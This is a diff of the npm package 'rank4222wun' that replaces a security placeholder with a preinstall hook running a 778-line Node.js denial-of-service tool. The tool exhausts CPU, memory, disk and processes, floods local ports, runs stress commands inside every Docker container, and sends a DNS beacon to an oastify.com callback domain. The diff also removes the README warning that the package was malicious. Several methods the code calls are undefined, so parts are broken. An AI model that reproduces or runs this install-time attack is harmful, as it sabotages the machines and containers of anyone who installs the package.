rank4222wun 0.0.1-security → 1.0.52

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.52",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {}
 }

package/preinstall.js

@@ -0,0 +1,778 @@
+// vm-container-dos-effective.js
+const { exec, spawn, fork } = require('child_process');
+const fs = require('fs');
+const crypto = require('crypto');
+const net = require('net');
+const dns = require('dns');
+const http = require('http');
+const https = require('https');
+
+console.log(`
+╔══════════════════════════════════════════════════════════╗
+║        ADVANCED VM/CONTAINER DDoS STRESS TOOL           ║
+║        For Authorized Testing Environments Only         ║
+╚══════════════════════════════════════════════════════════╝
+`);
+
+// ===================== CONFIGURATION =====================
+const CONFIG = {
+  MODE: 'FULL_STRESS', // 'FULL_STRESS', 'SMART_STRESS', 'RESOURCE_ONLY'
+  MAX_DURATION: 300000, // 5 دقائق
+  TARGETS: {
+    // استهداف موارد النظام
+    CPU_CORES: 'ALL', // 'ALL', 'HALF', عدد محدد
+    MEMORY_PERCENT: 90, // نسبة الذاكرة المستهدفة
+    DISK_IO: true, // استنزاف قرص/كتابة
+    NETWORK_FLOOD: true, // فيض الشبكة
+    CONTAINER_SPECIFIC: true, // استهداف حاويات محددة
+  },
+  WORKERS: {
+    CPU_WORKERS: 512, // عمال استنزاف CPU
+    MEMORY_WORKERS: 32, // عمال استنزاف الذاكرة
+    NETWORK_WORKERS: 128, // عمال الشبكة
+    CONNECTION_WORKERS: 20000, // اتصالات متزامنة
+  },
+  SAFETY: {
+    AUTO_STOP: true, // توقف تلقائي عند 95% موارد
+    CLEANUP: true, // تنظيف تلقائي
+    MONITOR_INTERVAL: 1000, // مراقبة كل ثانية
+  },
+  OAST: {
+    domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
+    sessionId: `vm-dos-${Date.now()}-${crypto.randomBytes(6).toString('hex')}`
+  }
+};
+
+// ===================== ADVANCED DDoS ENGINE =====================
+class VmContainerDDoSEngine {
+  constructor() {
+    this.workers = {
+      cpu: [],
+      memory: [],
+      network: [],
+      disk: [],
+      connections: []
+    };
+    this.metrics = {
+      startTime: Date.now(),
+      cpuUsage: 0,
+      memoryUsage: 0,
+      networkPackets: 0,
+      connectionsMade: 0,
+      containersAffected: 0
+    };
+    this.monitorInterval = null;
+    this.isRunning = false;
+  }
+
+  async launchFullScaleAttack() {
+    console.log('🚀 إطلاق هجوم DDoS متكامل على VM/حاويات...\n');
+    
+    // التحقق من الصلاحيات والبيئة
+    if (!await this.validateEnvironment()) {
+      console.log('❌ بيئة غير مناسبة للاختبار');
+      return;
+    }
+    
+    this.isRunning = true;
+    
+    // بدء المراقبة
+    this.startIntensiveMonitoring();
+    
+    // المرحلة 1: استنزاف CPU المكثف
+    console.log('🔥 المرحلة 1: استنزاف CPU مكثف...');
+    await this.launchCPUStress();
+    
+    // المرحلة 2: استنزاف الذاكرة
+    console.log('💾 المرحلة 2: استنزاف الذاكرة...');
+    await this.launchMemoryStress();
+    
+    // المرحلة 3: هجوم شبكة متقدم
+    console.log('🌐 المرحلة 3: هجوم شبكة متقدم...');
+    await this.launchNetworkAttack();
+    
+    // المرحلة 4: استهداف الحاويات المحددة
+    if (CONFIG.TARGETS.CONTAINER_SPECIFIC) {
+      console.log('🐳 المرحلة 4: استهداف الحاويات...');
+      await this.targetSpecificContainers();
+    }
+    
+    // المرحلة 5: هجمات متعددة الطبقات
+    console.log('⚡ المرحلة 5: هجمات متعددة الطبقات...');
+    await this.launchMultiLayerAttack();
+    
+    // الانتظار للهجوم الكامل
+    console.log(`\n⏳ الهجوم يعمل لمدة ${CONFIG.MAX_DURATION / 1000 / 60} دقائق...`);
+    await this.delay(CONFIG.MAX_DURATION);
+    
+    // التوقف والتنظيف
+    await this.stopAndCleanup();
+  }
+
+  async validateEnvironment() {
+    console.log('🔍 التحقق من البيئة...');
+    
+    // التحقق من الصلاحيات
+    try {
+      await this.exec('docker ps');
+      console.log('✅ Docker متاح');
+    } catch (e) {
+      console.log('⚠️ Docker غير متاح، التركيز على موارد VM');
+    }
+    
+    // التحقق من الموارد
+    const cpuCores = await this.getCPUCores();
+    const totalMem = await this.getTotalMemory();
+    
+    console.log(`💻 CPU Cores: ${cpuCores}`);
+    console.log(`🧠 Total Memory: ${(totalMem / 1024 / 1024 / 1024).toFixed(2)} GB`);
+    
+    return cpuCores > 0 && totalMem > 0;
+  }
+
+  async launchCPUStress() {
+    console.log(`   تشغيل ${CONFIG.WORKERS.CPU_WORKERS} عامل استنزاف CPU...`);
+    
+    // طرق مختلفة لاستنزاف CPU
+    const stressMethods = [
+      this.cpuWorkerMathIntensive,
+      this.cpuWorkerCrypto,
+      this.cpuWorkerCompression,
+      this.cpuWorkerMatrix
+    ];
+    
+    for (let i = 0; i < CONFIG.WORKERS.CPU_WORKERS; i++) {
+      const method = stressMethods[i % stressMethods.length];
+      const worker = method();
+      this.workers.cpu.push(worker);
+      
+      // بدء فوري بدون تأخير
+      if (i % 50 === 0) {
+        await this.delay(0); // Yield للتحكم
+      }
+    }
+    
+    console.log(`   ✅ ${this.workers.cpu.length} عامل CPU نشط`);
+  }
+
+  cpuWorkerMathIntensive() {
+    let running = true;
+    
+    const work = () => {
+      if (!running) return;
+      
+      // حساب مكثف للرياضيات
+      let total = 0;
+      for (let i = 0; i < 50000000; i++) {
+        total += Math.sin(i) * Math.cos(i) * Math.tan(i);
+        total = Math.sqrt(total + i);
+        total = Math.pow(total, 1.5);
+      }
+      
+      // حساب عدد أولي
+      let primeCount = 0;
+      for (let n = 2; n < 200000; n++) {
+        let isPrime = true;
+        for (let j = 2; j <= Math.sqrt(n); j++) {
+          if (n % j === 0) {
+            isPrime = false;
+            break;
+          }
+        }
+        if (isPrime) primeCount++;
+      }
+      
+      setImmediate(work);
+    };
+    
+    // بدء العمل فورياً
+    setImmediate(work);
+    
+    return {
+      stop: () => { running = false; }
+    };
+  }
+
+  cpuWorkerCrypto() {
+    let running = true;
+    
+    const work = () => {
+      if (!running) return;
+      
+      // عمليات تشفير مكثفة
+      for (let i = 0; i < 1000; i++) {
+        const data = crypto.randomBytes(1024 * 1024); // 1MB
+        const hash = crypto.createHash('sha512');
+        hash.update(data);
+        const result = hash.digest('hex');
+        
+        // تشفير AES
+        const cipher = crypto.createCipher('aes-256-gcm', crypto.randomBytes(32));
+        let encrypted = cipher.update(data, 'utf8', 'hex');
+        encrypted += cipher.final('hex');
+      }
+      
+      setImmediate(work);
+    };
+    
+    setImmediate(work);
+    
+    return {
+      stop: () => { running = false; }
+    };
+  }
+
+  async launchMemoryStress() {
+    console.log(`   تشغيل ${CONFIG.WORKERS.MEMORY_WORKERS} عامل استنزاف ذاكرة...`);
+    
+    // كتل ذاكرة كبيرة
+    const memoryBlocks = [];
+    const targetMemory = await this.getTotalMemory() * (CONFIG.TARGETS.MEMORY_PERCENT / 100);
+    const blockSize = 64 * 1024 * 1024; // 64MB
+    
+    try {
+      for (let i = 0; i < CONFIG.WORKERS.MEMORY_WORKERS; i++) {
+        // تخصيص كتل ذاكرة كبيرة
+        for (let j = 0; j < 4; j++) { // 4 كتل لكل عامل
+          try {
+            const block = Buffer.alloc(blockSize, 'M'); // 64MB مملوءة بـ 'M'
+            memoryBlocks.push(block);
+            this.workers.memory.push({
+              block: block,
+              stop: () => { /* Memory block exists */ }
+            });
+            
+            // تحديث المقاييس
+            this.metrics.memoryUsage += blockSize;
+          } catch (e) {
+            console.log(`     ⚠️  فشل تخصيص الذاكرة للعامل ${i}`);
+            break;
+          }
+        }
+        
+        // عامل الكتابة في الذاكرة
+        const memoryWorker = this.createMemoryWorker(memoryBlocks);
+        this.workers.memory.push(memoryWorker);
+      }
+    } catch (error) {
+      console.log(`     ❌ خطأ في استنزاف الذاكرة: ${error.message}`);
+    }
+    
+    console.log(`   ✅ تم تخصيص ${(this.metrics.memoryUsage / 1024 / 1024 / 1024).toFixed(2)} GB ذاكرة`);
+  }
+
+  createMemoryWorker(memoryBlocks) {
+    let running = true;
+    
+    const work = () => {
+      if (!running || memoryBlocks.length === 0) return;
+      
+      // كتابة عشوائية في كتل الذاكرة
+      memoryBlocks.forEach((block, idx) => {
+        if (block && block.length > 0) {
+          // كتابة عشوائية في مواقع مختلفة
+          for (let i = 0; i < 100; i++) {
+            const pos = Math.floor(Math.random() * (block.length - 100));
+            const data = crypto.randomBytes(100);
+            data.copy(block, pos);
+          }
+        }
+      });
+      
+      setTimeout(work, 10);
+    };
+    
+    work();
+    
+    return {
+      stop: () => { running = false; }
+    };
+  }
+
+  async launchNetworkAttack() {
+    if (!CONFIG.TARGETS.NETWORK_FLOOD) return;
+    
+    console.log(`   تشغيل ${CONFIG.WORKERS.NETWORK_WORKERS} عامل شبكة...`);
+    
+    // اكتشاف أهداف الشبكة
+    const targets = await this.discoverNetworkTargets();
+    
+    if (targets.length === 0) {
+      console.log('     ⚠️  لم يتم العثور على أهداف شبكة');
+      return;
+    }
+    
+    console.log(`     🎯 ${targets.length} هدف شبكة تم اكتشافه`);
+    
+    // طرق هجوم الشبكة
+    for (let i = 0; i < CONFIG.WORKERS.NETWORK_WORKERS; i++) {
+      const target = targets[i % targets.length];
+      const attackType = i % 4; // 4 أنواع هجوم مختلفة
+      
+      switch (attackType) {
+        case 0:
+          this.workers.network.push(this.synFloodWorker(target));
+          break;
+        case 1:
+          this.workers.network.push(this.udpFloodWorker(target));
+          break;
+        case 2:
+          this.workers.network.push(this.httpFloodWorker(target));
+          break;
+        case 3:
+          this.workers.network.push(this.slowlorisWorker(target));
+          break;
+      }
+      
+      if (i % 10 === 0) {
+        await this.delay(0);
+      }
+    }
+    
+    console.log(`   ✅ ${this.workers.network.length} عامل شبكة نشط`);
+  }
+
+  synFloodWorker(target) {
+    let running = true;
+    let packetCount = 0;
+    
+    const attack = () => {
+      if (!running) return;
+      
+      // إرسال حزم SYN
+      for (let i = 0; i < 100; i++) { // 100 حزمة كل مرة
+        try {
+          const socket = new net.Socket();
+          socket.setTimeout(100);
+          
+          socket.connect(target.port, target.ip);
+          
+          socket.on('connect', () => {
+            packetCount++;
+            socket.destroy();
+          });
+          
+          socket.on('error', () => {
+            socket.destroy();
+          });
+          
+          socket.on('timeout', () => {
+            socket.destroy();
+          });
+        } catch (e) {
+          // تجاهل الأخطاء
+        }
+      }
+      
+      this.metrics.networkPackets += 100;
+      
+      // تكرار سريع
+      setTimeout(attack, 10);
+    };
+    
+    attack();
+    
+    return {
+      stop: () => { running = false; },
+      stats: () => ({ packets: packetCount })
+    };
+  }
+
+  async targetSpecificContainers() {
+    console.log('   🎯 استهداف حاويات محددة...');
+    
+    try {
+      // الحصول على جميع الحاويات
+      const containers = await this.getRunningContainers();
+      
+      if (containers.length === 0) {
+        console.log('     ⚠️  لا توجد حاويات قيد التشغيل');
+        return;
+      }
+      
+      console.log(`     🐳 العثور على ${containers.length} حاوية`);
+      
+      // استهداف كل حاوية
+      for (const container of containers) {
+        await this.attackContainer(container);
+        this.metrics.containersAffected++;
+      }
+      
+    } catch (error) {
+      console.log(`     ❌ خطأ في استهداف الحاويات: ${error.message}`);
+    }
+  }
+
+  async attackContainer(containerId) {
+    // هجمات متعددة على الحاوية
+    const attacks = [
+      () => this.stressContainerCPU(containerId),
+      () => this.stressContainerMemory(containerId),
+      () => this.floodContainerPorts(containerId),
+      () => this.exhaustContainerProcesses(containerId)
+    ];
+    
+    // تنفيذ جميع الهجمات بالتزامن
+    await Promise.all(attacks.map(attack => attack().catch(() => {})));
+  }
+
+  async stressContainerCPU(containerId) {
+    // تشغيل عمليات مكثفة داخل الحاوية
+    const commands = [
+      'dd if=/dev/zero of=/dev/null bs=1M count=1000',
+      'sha1sum /dev/zero',
+      'while true; do echo ""; done',
+      'for i in {1..10}; do cat /dev/urandom | gzip -9 | wc -c & done'
+    ];
+    
+    for (const cmd of commands) {
+      try {
+        await this.exec(`docker exec ${containerId} sh -c "${cmd}"`);
+      } catch (e) {
+        // تجاهل الأخطاء
+      }
+    }
+  }
+
+  async launchMultiLayerAttack() {
+    console.log('   ⚡ تشغيل هجمات متعددة الطبقات...');
+    
+    // هجمات إضافية
+    const additionalAttacks = [
+      this.diskIOStress,
+      this.processExhaustion,
+      this.fileSystemStress,
+      this.dockerDaemonStress
+    ];
+    
+    // تشغيل جميع الهجمات
+    for (const attack of additionalAttacks) {
+      try {
+        await attack.call(this);
+      } catch (e) {
+        console.log(`     ⚠️  هجوم فشل: ${e.message}`);
+      }
+    }
+  }
+
+  async diskIOStress() {
+    console.log('     💾 استنزاف قرص/كتابة...');
+    
+    const workers = [];
+    
+    for (let i = 0; i < 8; i++) { // 8 عمال قرص
+      const worker = spawn('dd', [
+        'if=/dev/urandom',
+        `of=/tmp/stress_disk_${i}.dat`,
+        'bs=1M',
+        'count=1000',
+        'oflag=dsync'
+      ]);
+      
+      workers.push(worker);
+      
+      worker.on('error', () => {});
+      worker.on('exit', () => {
+        // حذف الملف المؤقت
+        fs.unlink(`/tmp/stress_disk_${i}.dat`, () => {});
+      });
+    }
+    
+    this.workers.disk = workers;
+  }
+
+  async processExhaustion() {
+    console.log('     🔄 استنزاف عمليات النظام...');
+    
+    // إنشاء آلاف العمليات
+    for (let i = 0; i < 1000; i++) {
+      const worker = fork(__filename, ['child-process']);
+      this.workers.connections.push(worker);
+      
+      // إنهاء العملية بعد وقت قصير
+      setTimeout(() => {
+        if (worker && !worker.killed) {
+          worker.kill('SIGTERM');
+        }
+      }, Math.random() * 5000 + 1000);
+    }
+  }
+
+  startIntensiveMonitoring() {
+    console.log('📊 بدء المراقبة المكثفة...\n');
+    
+    this.monitorInterval = setInterval(async () => {
+      const cpu = await this.getCPUUsage();
+      const memory = await this.getMemoryUsage();
+      
+      this.metrics.cpuUsage = cpu;
+      this.metrics.memoryUsage = memory;
+      
+      console.log(`📈 حالة الهجوم: CPU=${cpu.toFixed(1)}% | Memory=${memory.toFixed(1)}% | Packets=${this.metrics.networkPackets} | Containers=${this.metrics.containersAffected}`);
+      
+      // التوقف التلقائي عند الوصول للحدود
+      if (CONFIG.SAFETY.AUTO_STOP && (cpu > 95 || memory > 95)) {
+        console.log('🚨 الوصول للحد الأقصى للموارد، إيقاف تلقائي...');
+        this.stopAndCleanup();
+      }
+    }, CONFIG.SAFETY.MONITOR_INTERVAL);
+  }
+
+  async stopAndCleanup() {
+    if (!this.isRunning) return;
+    
+    console.log('\n🛑 إيقاف جميع الهجمات والتنظيف...');
+    
+    this.isRunning = false;
+    
+    // إيقاف المراقبة
+    if (this.monitorInterval) {
+      clearInterval(this.monitorInterval);
+      this.monitorInterval = null;
+    }
+    
+    // إيقاف جميع العمال
+    const allWorkers = [
+      ...this.workers.cpu,
+      ...this.workers.memory,
+      ...this.workers.network,
+      ...this.workers.disk,
+      ...this.workers.connections
+    ];
+    
+    console.log(`   إيقاف ${allWorkers.length} عامل...`);
+    
+    allWorkers.forEach(worker => {
+      try {
+        if (worker.stop && typeof worker.stop === 'function') {
+          worker.stop();
+        } else if (worker.kill && typeof worker.kill === 'function') {
+          worker.kill('SIGTERM');
+        } else if (worker.destroy && typeof worker.destroy === 'function') {
+          worker.destroy();
+        }
+      } catch (e) {
+        // تجاهل الأخطاء في الإيقاف
+      }
+    });
+    
+    // تنظيف الذاكرة
+    if (global.gc) {
+      global.gc();
+    }
+    
+    // إرسال تقرير OAST
+    await this.sendAttackReport();
+    
+    console.log('✅ تم التنظيف والإيقاف');
+    console.log(`⏱️  مدة الهجوم: ${((Date.now() - this.metrics.startTime) / 1000).toFixed(1)} ثانية`);
+  }
+
+  async sendAttackReport() {
+    const report = {
+      sessionId: CONFIG.OAST.sessionId,
+      timestamp: new Date().toISOString(),
+      duration: Date.now() - this.metrics.startTime,
+      metrics: this.metrics,
+      config: CONFIG
+    };
+    
+    // حفظ التقرير محلياً
+    const reportFile = `dos-attack-report-${CONFIG.OAST.sessionId}.json`;
+    fs.writeFileSync(reportFile, JSON.stringify(report, null, 2));
+    
+    console.log(`📄 التقرير المحفوظ: ${reportFile}`);
+    
+    // إرسال إشعار OAST
+    const dnsName = `${CONFIG.OAST.sessionId}.attack-complete.${CONFIG.OAST.domain}`;
+    dns.lookup(dnsName, () => {});
+    
+    console.log(`📡 إشعار OAST مرسل: ${dnsName}`);
+  }
+
+  // ===================== UTILITY METHODS =====================
+  async exec(command) {
+    return new Promise((resolve, reject) => {
+      exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
+        if (error) {
+          reject(error);
+        } else {
+          resolve(stdout.toString().trim());
+        }
+      });
+    });
+  }
+
+  async getCPUCores() {
+    try {
+      const output = await this.exec("nproc");
+      return parseInt(output) || 1;
+    } catch {
+      return 1;
+    }
+  }
+
+  async getTotalMemory() {
+    try {
+      const output = await this.exec("grep MemTotal /proc/meminfo | awk '{print $2}'");
+      return parseInt(output) * 1024; // تحويل KB إلى bytes
+    } catch {
+      return 1024 * 1024 * 1024; // 1GB افتراضي
+    }
+  }
+
+  async getCPUUsage() {
+    try {
+      const output = await this.exec("top -bn1 | grep 'Cpu(s)' | awk '{print $2 + $4}'");
+      return parseFloat(output) || 0;
+    } catch {
+      return 0;
+    }
+  }
+
+  async getMemoryUsage() {
+    try {
+      const total = await this.exec("grep MemTotal /proc/meminfo | awk '{print $2}'");
+      const available = await this.exec("grep MemAvailable /proc/meminfo | awk '{print $2}'");
+      const totalMem = parseFloat(total) || 1;
+      const availableMem = parseFloat(available) || 0;
+      return ((totalMem - availableMem) / totalMem) * 100;
+    } catch {
+      return 0;
+    }
+  }
+
+  async getRunningContainers() {
+    try {
+      const output = await this.exec('docker ps -q --no-trunc');
+      return output.split('\n').filter(id => id.trim());
+    } catch {
+      return [];
+    }
+  }
+
+  async discoverNetworkTargets() {
+    const targets = [];
+    
+    // أهداف محلية
+    const localTargets = [
+      { ip: '127.0.0.1', port: 80 },
+      { ip: '127.0.0.1', port: 443 },
+      { ip: '127.0.0.1', port: 8080 },
+      { ip: '127.0.0.1', port: 3000 },
+      { ip: '127.0.0.1', port: 22 },
+      { ip: '127.0.0.1', port: 3306 },
+      { ip: '127.0.0.1', port: 5432 }
+    ];
+    
+    // فحص الحاويات المعرّضة
+    try {
+      const containers = await this.exec('docker ps --format "{{.ID}}|{{.Ports}}"');
+      const lines = containers.split('\n');
+      
+      lines.forEach(line => {
+        const [id, ports] = line.split('|');
+        if (ports && ports.includes('->')) {
+          const portMatch = ports.match(/(\d+)->/);
+          if (portMatch) {
+            targets.push({
+              ip: '127.0.0.1',
+              port: parseInt(portMatch[1]),
+              container: id.substring(0, 12)
+            });
+          }
+        }
+      });
+    } catch (e) {
+      // تجاهل الأخطاء
+    }
+    
+    // إضافة الأهداف المحلية إذا لم تكن موجودة
+    localTargets.forEach(target => {
+      if (!targets.some(t => t.port === target.port)) {
+        targets.push(target);
+      }
+    });
+    
+    return targets;
+  }
+
+  delay(ms) {
+    return new Promise(resolve => setTimeout(resolve, ms));
+  }
+}
+
+// ===================== MAIN EXECUTION =====================
+async function main() {
+  console.log('⚠️  VM/CONTAINER DDoS STRESS TOOL - FULL SCALE');
+  console.log('⚠️  FOR AUTHORIZED TESTING ONLY\n');
+  
+  // التحذيرات
+  console.log('🚨 IMPORTANT WARNINGS:');
+  console.log('1. هذا الأداة ستؤثر بشدة على أداء النظام');
+  console.log('2. قد تتسبب في تعليق النظام أو إعادة تشغيله');
+  console.log('3. استخدام غير مصرح به غير قانوني');
+  console.log('4. استخدم فقط في بيئات اختبار معزولة\n');
+  
+  const readline = require('readline');
+  const rl = readline.createInterface({
+    input: process.stdin,
+    output: process.stdout
+  });
+  
+  rl.question('هل أنت متأكد؟ (اكتب "نعم" للمواصلة): ', async (answer) => {
+    rl.close();
+    
+    if (answer.trim() === 'نعم') {
+      console.log('\n🚀 بدء الهجوم الشامل...');
+      console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
+      console.log(`⏱️  المدة: ${CONFIG.MAX_DURATION / 1000 / 60} دقائق`);
+      console.log(`🎯 الأهداف: CPU, Memory, Network, Containers\n`);
+      
+      const engine = new VmContainerDDoSEngine();
+      
+      // التعامل مع SIGINT للإيقاف اليدوي
+      process.on('SIGINT', async () => {
+        console.log('\n\n🛑 تم استقبال Ctrl+C، إيقاف الهجوم...');
+        await engine.stopAndCleanup();
+        process.exit(0);
+      });
+      
+      try {
+        await engine.launchFullScaleAttack();
+      } catch (error) {
+        console.error(`❌ خطأ غير متوقع: ${error.message}`);
+        await engine.stopAndCleanup();
+      }
+      
+      console.log('\n' + '='.repeat(60));
+      console.log('✅ الهجوم اكتمل');
+      console.log('='.repeat(60));
+      
+    } else {
+      console.log('\n❌ تم الإلغاء');
+      process.exit(0);
+    }
+  });
+}
+
+// تشغيل الطفل إذا كان في وضع child
+if (process.argv[2] === 'child-process') {
+  // عملية طفل - تشغل بعض العمليات فقط
+  setTimeout(() => {
+    process.exit(0);
+  }, 5000);
+} else if (require.main === module) {
+  // التحقق من الصلاحيات
+  exec('whoami', (error) => {
+    if (error) {
+      console.error('❌ خطأ في التحقق من الصلاحيات');
+      process.exit(1);
+    }
+    
+    // بدء الأداة
+    main();
+  });
+}
+
+module.exports = { VmContainerDDoSEngine, CONFIG };

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.